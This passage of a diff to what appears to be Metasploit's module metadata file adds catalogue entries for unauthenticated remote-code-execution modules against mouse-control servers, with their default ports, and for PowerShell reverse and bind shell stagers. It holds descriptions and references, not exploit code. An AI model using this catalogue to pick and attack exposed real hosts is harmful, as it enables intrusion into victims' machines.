"URL-https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html"
"URL-https://security.szurek.pl/en/manage-engine-exchange-reporter-plus-unauthenticated-rce/"
],
"platform": "Windows",
"arch": "x86, x64",
@@ -143766,7 +144887,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-10-07 01:59:52 +0000",
"path": "/modules/exploits/windows/http/manageengine_adshacluster_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/manageengine_adshacluster_rce",
@@ -154194,7 +155315,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/exploits/windows/local/powershell_remoting.rb",
"is_install_path": true,
"ref_name": "windows/local/powershell_remoting",
@@ -154950,7 +156071,7 @@
"targets": [
"Microsoft Windows"
],
"mod_time": "2022-05-25 13:11:34 +0000",
"mod_time": "2022-10-01 17:54:59 +0000",
"path": "/modules/exploits/windows/local/vss_persistence.rb",
"is_install_path": true,
"ref_name": "windows/local/vss_persistence",
@@ -154962,11 +156083,11 @@
"crash-safe"
],
"Reliability": [
"artifacts-on-disk",
"config-changes"
"repeatable-session"
],
"SideEffects": [
"repeatable-session"
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
@@ -155100,7 +156221,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-09-23 17:41:20 +0000",
"path": "/modules/exploits/windows/local/wmi.rb",
"is_install_path": true,
"ref_name": "windows/local/wmi",
@@ -159173,6 +160294,57 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/misc/mobile_mouse_rce": {
"name": "Mobile Mouse RCE",
"fullname": "exploit/windows/misc/mobile_mouse_rce",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-09-20",
"type": "exploit",
"author": [
"h00die",
"CHOKRI HAMMEDI"
],
"description": "This module utilizes the Mobile Mouse Server by RPA Technologies, Inc protocol\n to deploy a payload and run it from the server. This module will only deploy\n a payload if the server is set without a password (default).\n Tested against 3.6.0.4, current at the time of module writing",
"references": [
"EDB-51010",
"URL-https://mobilemouse.com/"
],
"platform": "Windows",
"arch": "x64, x86",
"rport": 9099,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"default"
],
"mod_time": "2022-09-27 14:51:03 +0000",
"path": "/modules/exploits/windows/misc/mobile_mouse_rce.rb",
"is_install_path": true,
"ref_name": "windows/misc/mobile_mouse_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/misc/ms07_064_sami": {
"name": "MS07-064 Microsoft DirectX DirectShow SAMI Buffer Overflow",
"fullname": "exploit/windows/misc/ms07_064_sami",
@@ -159656,6 +160828,61 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/misc/remote_mouse_rce": {
"name": "Remote Mouse RCE",
"fullname": "exploit/windows/misc/remote_mouse_rce",
"aliases": [
],
"rank": 300,
"disclosure_date": "2019-04-15",
"type": "exploit",
"author": [
"h00die",
"0RPHON",
"H4rk3nz0"
],
"description": "This module utilizes the Remote Mouse Server by Emote Interactive protocol\n to deploy a payload and run it from the server. This module will only deploy\n a payload if the server is set without a password (default).\n Tested against 4.110, current at the time of module writing",
"references": [
"EDB-46697",
"CVE-2022-3365",
"URL-https://www.remotemouse.net/",
"URL-https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20mouse/remote-mouse-rce.py"
],
"platform": "Windows",
"arch": "x64, x86",
"rport": 1978,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"default"
],
"mod_time": "2022-10-03 15:25:53 +0000",
"path": "/modules/exploits/windows/misc/remote_mouse_rce.rb",
"is_install_path": true,
"ref_name": "windows/misc/remote_mouse_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"screen-effects"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/misc/sap_2005_license": {
"name": "SAP Business One License Manager 2005 Buffer Overflow",
"fullname": "exploit/windows/misc/sap_2005_license",
@@ -160104,6 +161331,60 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/misc/unified_remote_rce": {
"name": "Unified Remote Auth Bypass to RCE",
"fullname": "exploit/windows/misc/unified_remote_rce",
"aliases": [
],
"rank": 300,
"disclosure_date": "2021-02-25",
"type": "exploit",
"author": [
"h00die",
"H4RK3NZ0"
],
"description": "This module utilizes the Unified Remote remote control protocol to type out and\n deploy a payload. The remote control protocol can be configured to have no passwords,\n a group password, or individual user accounts. If the web page is accessible, the\n access control is set to no password for exploitation, then reverted.\n If the web page is not accessible, exploitation will be tried blindly.\n This module has been successfully tested against version 3.11.0.2483 (50) on Windows 10.",
"references": [
"EDB-49587",
"URL-https://www.unifiedremote.com/",
"URL-https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/unified%20remote/unified-remote-rce.py",
"CVE-2022-3229"
],
"platform": "Windows",
"arch": "x64, x86",
"rport": 9512,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"pull"
],
"mod_time": "2022-09-26 15:45:42 +0000",
"path": "/modules/exploits/windows/misc/unified_remote_rce.rb",
"is_install_path": true,
"ref_name": "windows/misc/unified_remote_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"screen-effects",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/misc/veeam_one_agent_deserialization": {
"name": "Veeam ONE Agent .NET Deserialization",
"fullname": "exploit/windows/misc/veeam_one_agent_deserialization",
@@ -160246,6 +161527,62 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/misc/wifi_mouse_rce": {
"name": "Wifi Mouse RCE",
"fullname": "exploit/windows/misc/wifi_mouse_rce",
"aliases": [
],
"rank": 300,
"disclosure_date": "2021-02-25",
"type": "exploit",
"author": [
"h00die",
"REDHATAUGUST",
"H4RK3NZ0"
],
"description": "The WiFi Mouse (Mouse Server) from Necta LLC contains an auth bypass as the\n authentication is completely implemented entirely on the client side. By utilizing\n this vulnerability, is possible to open a program on the server\n (cmd.exe in our case) and type commands that will be executed as the user running\n WiFi Mouse (Mouse Server), resulting in remote code execution.\n\n Tested against versions 1.8.3.4 (current as of module writing) and\n 1.8.2.3.",
"references": [
"EDB-50972",
"EDB-49601",
"CVE-2022-3218",
"URL-http://wifimouse.necta.us/",
"URL-https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/wifi%20mouse/wifi-mouse-server-rce.py"
],
"platform": "Windows",
"arch": "x64, x86",
"rport": 1978,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"stager"
],
"mod_time": "2022-09-26 15:45:42 +0000",
"path": "/modules/exploits/windows/misc/wifi_mouse_rce.rb",
"is_install_path": true,
"ref_name": "windows/misc/wifi_mouse_rce",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"screen-effects",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/misc/windows_rsh": {
"name": "Windows RSH Daemon Buffer Overflow",
"fullname": "exploit/windows/misc/windows_rsh",
@@ -165378,7 +166715,7 @@
"Windows 10 Pro",
"Windows 10 Enterprise Evaluation"
],
"mod_time": "2022-04-08 15:48:45 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/exploits/windows/smb/ms17_010_eternalblue.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms17_010_eternalblue",
@@ -165487,7 +166824,7 @@
"targets": [
"Windows 2000 / Windows XP / Windows 2003"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-08-08 01:40:15 +0000",
"path": "/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb",
"is_install_path": true,
"ref_name": "windows/smb/netidentity_xtierrpcpipe",
@@ -168400,7 +169737,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_http",
@@ -168436,7 +169773,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_https",
@@ -168472,7 +169809,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_tcp",
@@ -168542,7 +169879,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_http",
@@ -168578,7 +169915,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_https",
@@ -168614,7 +169951,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_tcp",
@@ -168750,7 +170087,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/bsd/x64/exec.rb",
"is_install_path": true,
"ref_name": "bsd/x64/exec",
@@ -168992,7 +170329,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/bsd/x86/exec.rb",
"is_install_path": true,
"ref_name": "bsd/x86/exec",
@@ -172357,6 +173694,1056 @@
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_hidden_ipknock_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Hidden Bind Ipknock TCP Stager",
"fullname": "payload/cmd/windows/powershell/custom/bind_hidden_ipknock_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection. First, the port will need to be knocked from\n the IP defined in KHOST. This IP will work as an authentication method\n (you can spoof it with tools like hping). After that you could get your\n shellcode from any IP. The socket will appear as \"closed,\" thus helping to\n hide the shellcode",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_hidden_ipknock_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_hidden_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Hidden Bind TCP Stager",
"fullname": "payload/cmd/windows/powershell/custom/bind_hidden_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection from a hidden port and spawn a command shell to the allowed host.",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_hidden_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_ipv6_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)",
"fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_ipv6_tcp_uuid": {
"name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)",
"fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_named_pipe": {
"name": "Powershell Exec, Windows shellcode stage, Windows x86 Bind Named Pipe Stager",
"fullname": "payload/cmd/windows/powershell/custom/bind_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"UserExistsError"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a pipe connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_nonx_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (No NX or Win7)",
"fullname": "payload/cmd/windows/powershell/custom/bind_nonx_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"vlad902 <vlad902@gmail.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection (No NX)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (Windows x86)",
"fullname": "payload/cmd/windows/powershell/custom/bind_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_tcp_rc4": {
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/cmd/windows/powershell/custom/bind_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_tcp_uuid": {
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)",
"fullname": "payload/cmd/windows/powershell/custom/bind_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"OJ Reeves"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection with UUID Support (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/find_tag": {
"name": "Powershell Exec, Windows shellcode stage, Find Tag Ordinal Stager",
"fullname": "payload/cmd/windows/powershell/custom/find_tag",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"skape <mmiller@hick.org>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Use an established connection",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/find_tag",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_hop_http": {
"name": "Powershell Exec, Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager",
"fullname": "payload/cmd/windows/powershell/custom/reverse_hop_http",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"scriptjunkie <scriptjunkie@scriptjunkie.us>",
"bannedit <bannedit@metasploit.com>",
"hdm <x@hdm.io>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. \n Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\n data/hop/hop.php to the PHP server you wish to use as a hop.",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_hop_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_http": {
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_http",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows wininet)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_http_proxy_pstore": {
"name": "Powershell Exec, Windows shellcode stage, Reverse HTTP Stager Proxy",
"fullname": "payload/cmd/windows/powershell/custom/reverse_http_proxy_pstore",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_http_proxy_pstore",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_https": {
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_https",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTPS (Windows wininet)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_https_proxy": {
"name": "Powershell Exec, Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy",
"fullname": "payload/cmd/windows/powershell/custom/reverse_https_proxy",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"corelanc0d3r <peter.ve@corelan.be>",
"amaloteaux <alex_maloteaux@metasploit.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP using SSL with custom proxy support",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_https_proxy",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_ipv6_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker over IPv6",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_named_pipe": {
"name": "Powershell Exec, Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager",
"fullname": "payload/cmd/windows/powershell/custom/reverse_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"OJ Reeves"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker via a named pipe pivot",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_nonx_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (No NX or Win7)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_nonx_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"vlad902 <vlad902@gmail.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker (No NX)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_ord_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_ord_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"spoonm <spoonm@no$email.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_ord_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager",
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
